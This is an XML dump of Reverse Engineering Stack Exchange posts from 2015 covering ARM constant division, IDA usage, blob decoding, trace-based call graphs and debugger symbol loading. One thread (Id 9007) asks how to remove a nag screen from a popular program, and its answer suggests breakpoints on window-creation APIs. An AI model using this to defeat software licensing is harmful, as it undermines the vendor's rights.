  <row Id="8994" PostTypeId="1" AcceptedAnswerId="8995" CreationDate="2015-05-26T14:35:27.927" Score="3" ViewCount="2267" Body="&lt;p&gt;When performing division on ARM, this is the code snippet that I encountered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x83d8 &amp;lt;main+12&amp;gt;:    mov r3, #10&#xA;   0x83dc &amp;lt;main+16&amp;gt;:    str r3, [r11, #-8]&#xA;   0x83e0 &amp;lt;main+20&amp;gt;:    ldr r3, [r11, #-8]&#xA;=&amp;gt; 0x83e4 &amp;lt;main+24&amp;gt;:    ldr r2, [pc, #40]   ;; 0x8414 &amp;lt;main+72&amp;gt;&#xA;   0x83e8 &amp;lt;main+28&amp;gt;:    smull   r1, r2, r2, r3&#xA;   0x83ec &amp;lt;main+32&amp;gt;:    asr r3, r3, #31&#xA;   0x83f0 &amp;lt;main+36&amp;gt;:    rsb r3, r3, r2&#xA;   0x83f4 &amp;lt;main+40&amp;gt;:    str r3, [r11, #-8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the original program, I store the value &lt;code&gt;10&lt;/code&gt; to a variable, divide it by &lt;code&gt;3&lt;/code&gt; and store it in the same variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[r11, #-8]&lt;/code&gt; in the above example has the value &lt;code&gt;0xa&lt;/code&gt;. After &lt;code&gt;0x83e4&lt;/code&gt;, r2 is loaded up as &lt;code&gt;0x55555556&lt;/code&gt;. My doubts are as follows :-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this a common way of performing division without the &lt;code&gt;div&lt;/code&gt; instruction?&lt;/li&gt;&#xA;&lt;li&gt;What are the other ways you have encountered in which division is performed without using an instruction that performs division?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2021-04-07T19:33:55.780" Title="Division on ARM" Tags="|arm|" AnswerCount="1" CommentCount="0" ClosedDate="2018-08-25T21:27:13.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostTypeId="2" ParentId="8994" CreationDate="2015-05-26T14:55:52.877" Score="2" Body="&lt;p&gt;Optimizing compilers will typically use the method above for compiling division by a constant.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about it at the following links:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20160114090130/http://blogs.msdn.com/b/devdev/archive/2005/12/12/502980.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Integer division by constants&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1397/how-can-i-reverse-optimized-integer-division-modulo-by-constant-operations&quot;&gt;How can I reverse optimized integer division/modulo by constant operations?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nynaeve.net/?p=115&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compiler tricks in x86 assembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="13506" LastEditDate="2021-04-07T19:33:55.780" LastActivityDate="2021-04-07T19:33:55.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8996" PostTypeId="2" ParentId="8966" CreationDate="2015-05-26T22:11:04.260" Score="2" Body="&lt;p&gt;When you open a DLL file with IDA, if IDA is able to find the &lt;code&gt;DllMain()&lt;/code&gt; function then it will automatically navigate to that function when you first disassemble the DLL. Note that the DLL's entry point (which IDA names &quot;&lt;code&gt;DllEntryPoint&lt;/code&gt;&quot;) does not always (and in fact often does not) point to the &lt;code&gt;DllMain()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the image below (full-size at &lt;a href=&quot;https://i.stack.imgur.com/CMUou.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/CMUou.png&lt;/a&gt;) that the DLL's entry point is &lt;code&gt;10807A1C&lt;/code&gt;. I've pointed from the entry point's artificial entry in the Exports table (since IDA gets the address from the PE's Entry Point field, not the actual PE Export Table) to the disassembly for the entry point code via arrow #1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code at the entry point (named &lt;code&gt;DllEntryPoint()&lt;/code&gt; by IDA) calls &lt;code&gt;___DllMainCRTStartup()&lt;/code&gt; via arrow #2. Then &lt;code&gt;__DllMainCRTStartup()&lt;/code&gt; calls &lt;code&gt;DllMain()&lt;/code&gt; via arrow #3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two function executed before &lt;code&gt;DllMain()&lt;/code&gt; are from VC++ 6's runtime library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzKQj.png&quot; alt=&quot;IDA&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-26T22:11:04.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8998" PostTypeId="2" ParentId="6394" CreationDate="2015-05-27T06:45:56.353" Score="1" Body="&lt;p&gt;Generally in case of binary data, the first thing you have to check, whether it contains any length field. Since you know the full length of the data an know at least one structure (the XML part), you can use these information pieces to take the first guesses. &lt;p&gt;&#xA;In the following picture I marked the guessed length values as yellow. Right before the XML part, there is a small number (0x1c8) in big-endian, which exactly the size of the text area. Before the XML, there is a high entropy part (marked as green), which is 0x80 bytes long. Based on the area length, it is probably the signature encrypting with an 1024-bit RSA key.&#xA;&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8gnaO.png&quot; alt=&quot;Binary representation of the decoded data&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-05-27T06:45:56.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8999" PostTypeId="1" AcceptedAnswerId="9000" CreationDate="2015-05-27T11:53:11.680" Score="0" ViewCount="5172" Body="&lt;p&gt;I have a program which converts file to blob in sqlite database. It uses QT framework. I can normally save the file from the database but only through its GUI (which is really painful).&#xA;I want to be able to decode the blob in sqlite to the original file.&#xA;I have attached the original and encoded file here &lt;a href=&quot;https://drive.google.com/file/d/0B2BLH3kVAYbgQVVzTTFRRzNHMlk/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&#xA;(click download button)&#xA;It is likely using qtarray and qstring but I am not sure. It seems also that the header is removed while encoding.&#xA;I would really appreciate your help. &lt;/p&gt;&#xA;" OwnerUserId="12628" LastActivityDate="2015-05-27T13:38:03.743" Title="decoding blob into original file" Tags="|decryption|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-30T01:07:21.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostTypeId="2" ParentId="8999" CreationDate="2015-05-27T13:38:03.743" Score="7" Body="&lt;p&gt;The blob file is compressed with zlib, so you have to decompress it first. The first 4 bytes of the blob is the decompressed size and the compressed content start at 6th byte.&lt;p&gt;&#xA;After the decompression you got binary file starting with &lt;code&gt;0xDEADBEAF&lt;/code&gt; (in big-endian, marked as yellow in the figure). After it you can find some header parameters, one of the &lt;code&gt;0x22&lt;/code&gt; (marked as green) is the number of rows.&lt;p&gt;&#xA;After the header you can find the row data as 32-bit float (&lt;a href=&quot;http://www.binaryconvert.com/result_float.html?hexadecimal=BFBF589F&quot; rel=&quot;noreferrer&quot;&gt;see float conversion here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6 = 06&#xA;0.756431 = 0x3f41a578&#xA;-1.494892 = 0xbfbf589f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Chx2n.png&quot; alt=&quot;Decompressed blob&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-05-27T13:38:03.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9001" PostTypeId="1" CreationDate="2015-05-27T15:57:24.743" Score="2" ViewCount="1871" Body="&lt;p&gt;I'm writing a tool and I need to generate the callgraph for assembly instructions. But I do not know how to exactly generate call graph from assembly instruction. Do you have any idea? To clarify, I run a binary sample in sandbox environment and extract its trace in assembly language. So now I want to generate call graph for that?&#xA;I know it is possible to generate callgraph by static analysis using IDA pro but my problem is that how can I generate call graph from Dynamic analysis?&lt;/p&gt;&#xA;" OwnerUserId="8671" LastEditorUserId="53" LastEditDate="2015-07-17T14:33:38.007" LastActivityDate="2015-07-17T14:33:38.007" Title="Generating call graph for assembly instructions" Tags="|assembly|malware|static-analysis|dynamic-analysis|call-graph|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostTypeId="2" ParentId="9001" CreationDate="2015-05-27T16:20:17.813" Score="6" Body="&lt;p&gt;With a trace this is very easy. Follow the trace sequentially and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the very 1st instruction, create a function object at the address of that very 1st instruction.&lt;/li&gt;&#xA;&lt;li&gt;For each call statement or push + ret, create a function object and add an edge from the current function to this function object.&lt;/li&gt;&#xA;&lt;li&gt;For each new call statement, create or reuse a function object and add an edge from the current function to the new or already known function object.&lt;/li&gt;&#xA;&lt;li&gt;After a RET* instruction, change the current function to the previous one. Use a stack and push/pop elements to/from it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only corner case I can see from what you want is if you have library functions and the trace doesn't contain the corresponding code or syscalls. But is as easy as not changing the current function for such calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After following all these steps, you will have a graph structure with the call graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The function object can be, simply, an address.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-05-27T16:20:17.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="2" ParentId="9001" CreationDate="2015-05-27T17:00:59.590" Score="2" Body="&lt;p&gt;One way to distinguish between calls is to parse the process's address space and establish memory ranges for various libraries. Thus when parsing the trace, you should be able to tell what's a &quot;local&quot; call vs a call into a lib. I'd also parse the various libraries export tables, to establish the various entry points and make the trace analysis a bit easier.  You, of course would need to track dynamic loads etc. Dealing with calls in the kernel should also be trivial to distinguish from user-level. Of course, this is assuming, you have the memory information when you're analyzing the trace.  I don't know if you're analyzing a Windows or Linux trace, but here's a good article for finding and parsing the export table on Windows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fumalwareanalysis.blogspot.com/2011/12/malware-analysis-tutorial-8-pe-header.html&quot; rel=&quot;nofollow&quot;&gt;http://fumalwareanalysis.blogspot.com/2011/12/malware-analysis-tutorial-8-pe-header.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're tracing the entire process from create to finish, you should also be able to determine at the very least load addresses (and probably size) for various DLLs. That should give you a good idea about the memory layout, if you don't have external memory information as mentioned above. That should be enough to distinguish a local call vs library calls.  If you're not interested in which library it's calling into, it's even easier. You know the address that the image loaded at, so given the size of the binary, and knowledge of the loader, you can calculate(or estimate closely) the size of the loaded executable. Anything outside of this range, you can consider &quot;external&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12613" LastEditorUserId="12613" LastEditDate="2015-05-27T17:45:47.130" LastActivityDate="2015-05-27T17:45:47.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostTypeId="2" ParentId="4604" CreationDate="2015-05-27T17:39:19.757" Score="2" Body="&lt;p&gt;Alternatively, you can select an address and press &lt;code&gt;ctrl + *&lt;/code&gt; (use the &lt;code&gt;*&lt;/code&gt; at the right pad)&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-05-27T17:39:19.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="1" AcceptedAnswerId="9009" CreationDate="2015-05-27T17:50:30.937" Score="3" ViewCount="3819" Body="&lt;p&gt;Some instructions in a binary do not belong to a function, or, IDA does not manage to recover one. See for example the red addresses in the below screen shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, one can right-click such 'function-less' addresses and selct &lt;code&gt;Create function&lt;/code&gt; from the menu (see below screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any side effects of creating a function from 'function-less' instructions? For example, does it change instructions, symbols, variables, etc.? Does it change IDA-generated xrefs and thus has an effects on a static control flow analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking because I have to work with an algorithm that can only process instructions which belongs to a function. My idea was to go through the binary and keep creating functions until all 'function-less' instructions belong to a function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see any possible disadvantages of this approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ul8Al.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="53" LastEditDate="2017-04-28T12:52:02.330" LastActivityDate="2017-04-28T12:52:02.330" Title="IDA Pro: Side effects or disadvantages of &quot;Create function&quot;" Tags="|ida|disassembly|idapython|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="1" AcceptedAnswerId="9011" CreationDate="2015-05-27T18:21:38.267" Score="5" ViewCount="2109" Body="&lt;p&gt;I know Immdbg already recognizes Windows internals function names, like kernel32.dll and user32.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to load Internet Explorer symbols the same way WinDbg does. Does someone knows it is possible, like mshtml.dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73Ijg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-05-28T14:50:11.927" LastActivityDate="2015-06-05T07:13:55.193" Title="Load IE symbols in Immunity Debugger" Tags="|immunity-debugger|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostTypeId="1" AcceptedAnswerId="9008" CreationDate="2015-05-27T19:10:11.633" Score="2" ViewCount="3564" Body="&lt;p&gt;I would like to remove a nag screen from a popular program. To do this I need to make sure the screen never gets called. So, the first task is to find the actual location of the nag (where it is called from). None of the strings in the nag screen seemed to show up in Ollydbg's string search. The only thing I managed to find on my own was the window of the nag in OllyDBG's window references, but I'm not sure if it was very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What methods are commonly used to find the call locations of nag screens? If you guys set me on the right path, I'm sure I can figure out the rest on my own. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extra info: the program seems to have been developed in .Net, the title of the nag showed up in the window reference list of OllyDBG but I couldn't find it in the string search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second edit: I don't think it's .net. I tried doing ´tasklist /m &quot;mscor*&quot;´, but it didn't show up (which it probably should have, if it's .net)&lt;/p&gt;&#xA;" OwnerUserId="12632" LastEditorUserId="12632" LastEditDate="2015-05-29T17:55:05.973" LastActivityDate="2015-05-29T17:55:05.973" Title="Methods of discovering the location of nag/pop-up screens besides string search?" Tags="|ollydbg|.net|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9008" PostTypeId="2" ParentId="9007" CreationDate="2015-05-27T19:26:51.077" Score="5" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/strong&gt; The OP updated his question yesterday to say that he's dealing with a .NET application, so the advice below no longer applies. I'll leave this answer here though since it might help others for Win32 applications.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting breakpoints on API functions that might be used to create the nag screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, (from &lt;a href=&quot;http://www.woodmann.com/krobar/beginner/p03_8.html&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/krobar/beginner/p03_8.html&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateWindow()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateWindowEx()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ShowWindow()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;UpdateWindow()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-05-28T22:03:15.957" LastActivityDate="2015-05-28T22:03:15.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostTypeId="2" ParentId="9005" CreationDate="2015-05-27T22:00:25.020" Score="6" Body="&lt;p&gt;Depends on what you would call a disadvantage. This kind of code-relict often results from a function that's present in source code, but doesn't ever get called*, so IDA didn't assign a name to it. If this is the case, you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generally don't want to include the function in your analysis, because the program never uses it anyways&lt;/li&gt;&#xA;&lt;li&gt;can search for a longer sequence of functions that are unused**, which might identify whole source files that got linked in accidentially but aren't used in the program&lt;/li&gt;&#xA;&lt;li&gt;can use the space of these functions for code caves that &quot;enhance&quot; the program's functionality; for example, i sometimes use them for a sequence of open/write/close calls that log some intermediate values.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You sabotage this by making unused functions real functions, which may or may not be important to your use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) However, the function might be a class method, which is referenced from the vtable, but never called directly, which misleads IDA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(**) If you have two functions &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt;, both of which get never called from the outside, but &lt;code&gt;a&lt;/code&gt; calls &lt;code&gt;b&lt;/code&gt;, IDA will still give &lt;code&gt;b&lt;/code&gt; a &lt;code&gt;sub_&lt;/code&gt; name, which interferes with identifying unused functions&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-05-27T22:00:25.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostTypeId="2" ParentId="9005" CreationDate="2015-05-28T07:49:38.970" Score="3" Body="&lt;p&gt;There is another point that might be problematic.&#xA;Sometimes on some platforms IDA does not recognize code areas correctly and defines data as a code in complicated functions or complicated code at all. Defining this code as a function may insert it to auto-analysis queue and all incorrectly defined references from this mistakenly recognized code may break another functions. This problem also occurs when working with obfuscated code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately as @Guntram Blohm said, the functions that called indirectly might be not recognized as such, so the solution for this problem is still needed. I'd suggest a bit better algorithm for creating such functions:&#xA;Don't convert each instruction to function automatically.&#xA;Find all function prologues instead (for example something like 2 pushes in the functions on your picture), and try to create a function where you can recognize this prologue only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be done with IDAPython by using function &lt;code&gt;idc.MakeFunction(prologue_address)&lt;/code&gt; without second parameter. In such case IDA will try to define function borders automatically. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-05-28T07:49:38.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9011" PostTypeId="2" ParentId="9006" CreationDate="2015-05-28T09:37:12.897" Score="6" Body="&lt;p&gt;Immunity Debugger 1.60 and above supports loading of PDB Symbol files both locally or from a symbol server. In order to enable it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Debug&lt;/em&gt; menu -&gt; &lt;em&gt;Debugging Symbol Options&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKvFU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Provide the local path to the symbol files or to a symbol server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dW7E9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If ImmDbg successfully loaded the pdb symbol for the specified file, you would get a message in the logs in the form &lt;code&gt;Debugging Information (DIA Format) available&lt;/code&gt; below the dll loading event. See the image below for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pmoo3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If even after all this, you cannot load the appropriate symbol for a file, then &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You may have misconfigured the symbol path.  &lt;/li&gt;&#xA;&lt;li&gt;In case of local symbol, the PDB file present on the system does not match with the PE.&lt;/li&gt;&#xA;&lt;li&gt;In case of symbol server, appropriate PDB file could not be found.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In such a case you can run the &lt;em&gt;symcheck&lt;/em&gt; tool provided with windbg. Example usage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Debugging Tools for Windows (x86)&amp;gt;symchk C:\WINDOWS\system32\kernel32.dll /s C:\WINDOWS\Symbols&#xA;&#xA;SYMCHK: FAILED files = 0&#xA;SYMCHK: PASSED + IGNORED files = 1&#xA;&#xA;C:\Program Files\Debugging Tools for Windows (x86)&amp;gt;symchk C:\WINDOWS\system32\mshtml.dll /s C:\WINDOWS\Symbols&#xA;SYMCHK: mshtml.dll           FAILED  - mshtml.pdb mismatched or not found&#xA;&#xA;SYMCHK: FAILED files = 1&#xA;SYMCHK: PASSED + IGNORED files = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of Immunity Debugger with symbols for &lt;em&gt;mshtml.dll&lt;/em&gt; loaded. This is taken from Windows XP SP3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cSzrH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other Info&lt;/strong&gt;: ImmDbg could not download symbols from the MS Symbol Server, so had to use the symcheck tool to download symbol for &lt;em&gt;mshtml.dll&lt;/em&gt; .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;symchk /r c:\windows\system32\mshtml.dll /s SRV*c:\symbols\*http://msdl.microsoft.com/download/symbols &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The symbol directory should look like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\symbols&amp;gt;dir&#xA; Volume in drive C has no label.&#xA; Volume Serial Number is 042A-A7E6&#xA;&#xA; Directory of C:\symbols&#xA;&#xA;06/05/2015  12:39 PM    &amp;lt;DIR&amp;gt;          .&#xA;06/05/2015  12:39 PM    &amp;lt;DIR&amp;gt;          ..&#xA;04/15/2008  09:21 AM         7,965,696 mshtml.pdb&#xA;06/05/2015  11:17 AM                 0 pingme.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, pointed ImmDbg to &lt;code&gt;C:\symbols\&lt;/code&gt;. Used &lt;em&gt;loaddll&lt;/em&gt; to load &lt;em&gt;mshtml.dll&lt;/em&gt; and it automatically picked up the symbol on loading. This can also be seen in the logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NymMI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-06-05T07:13:55.193" LastActivityDate="2015-06-05T07:13:55.193" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostTypeId="1" CreationDate="2015-05-28T13:57:11.047" Score="3" ViewCount="736" Body="&lt;p&gt;This is just a simple questions regarding the hex values passed as dwFlags and translating them to their actual meaning. I found this thread (&lt;a href=&quot;http://www.woodmann.com/forum/archive/index.php/t-12498.html&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/forum/archive/index.php/t-12498.html&lt;/a&gt;) which &lt;em&gt;nearly&lt;/em&gt; solves the problem but I'm still a little stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it we should be right clicking and using Standard Symbolic Symbol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this works fine for a single value (for example, the &lt;code&gt;#define INTERNET_FLAG_FORMS_SUBMIT 0x00000040&lt;/code&gt; in the referenced thread). But for multiple OR'd values, it doesn't help (at least the way I'm using it and that well may be wrong!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm looking at a call to &lt;code&gt;HttpOpenRequestA&lt;/code&gt; where the &lt;code&gt;dwFlags&lt;/code&gt; value is 4003300h. I was wondering if there was a way in IDA (or another utility that I could use) to translate that into it's actual meaning &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INTERNET_FLAG_RAW_DATA 0x40000000&#xA;INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 0x2000&#xA;INTERNET_FLAG_IGNORE_CERT_CN_INVALID 0x1000&#xA;INTERNET_FLAG_NO_UI 0x200&#xA;INTERNET_FLAG_PRAGMA_NOCACHE 0x100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sure it is possible to do it manually but I was wondering if there was a way to integrate this functionality into IDA or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did post this to Woodmann's (&lt;a href=&quot;http://www.woodmann.com/forum/showthread.php?15662-Question-about-dwFlags-and-IDA-(or-any-simple-way-to-translate-dwFlags)&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/forum/showthread.php?15662-Question-about-dwFlags-and-IDA-(or-any-simple-way-to-translate-dwFlags)&lt;/a&gt;) and got an interesting response from a user there by the name of Kayaker, who has come up with one way to do it with IDA, but my understanding of this approach is that it would be horrendously time consuming and massive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - is there a way to do this automagically in IDA or is there another tool that someone may recommend?&lt;/p&gt;&#xA;" OwnerUserId="12639" LastEditorUserId="2959" LastEditDate="2015-05-28T21:24:06.670" LastActivityDate="2015-05-28T21:24:06.670" Title="Question about dwFlags and IDA (or any simple way to translate dwFlags)" Tags="|ida|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostTypeId="2" ParentId="9012" CreationDate="2015-05-28T14:10:52.243" Score="1" Body="&lt;p&gt;You could write a program to create the database Kayaker proposed. For example, spider through all API function pages on MSDN, try to scrape flag names for each function's parameter, look up those flags' values in the SDK's header files, and associate them with the API function in a database. You'd then need to write an IDA plugin to figure out the flag combinations for OR'ed flag values.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;my understanding of this approach is that it would be horrendously&#xA;  time consuming and massive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, which is why nobody has ever done it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of us have considered doing it, but then realized that it's just not worth all the effort given that it's not &lt;em&gt;too&lt;/em&gt; time-consuming to manually extract the symbolic flag values when we see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if it makes you feel better, there's no tool out there that does this already -- you're not missing out on some secret tool that everyone else is using.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-28T14:10:52.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="2" ParentId="9012" CreationDate="2015-05-28T20:02:20.257" Score="3" Body="&lt;p&gt;This is very possible in IDA, using bitfield-enums.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign an enum type to your value. If you use standard symbolic constant, there will be a local copy of the type in your Enumerations subview.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the enum type definition, and enable the bitfield checkbox. IDA will convert the bitfield automatically if all the enum values have only 1 bit set. If there are other values like zero, you have to remove them first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The value will now display similar to (INTERNET_FLAG_RAW_DATA or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI or INTERNET_FLAG_PRAGMA_NOCACHE).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is also support for more complicated multi-bit flags using masks. Read the Enum docs in IDA for more.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastActivityDate="2015-05-28T20:02:20.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
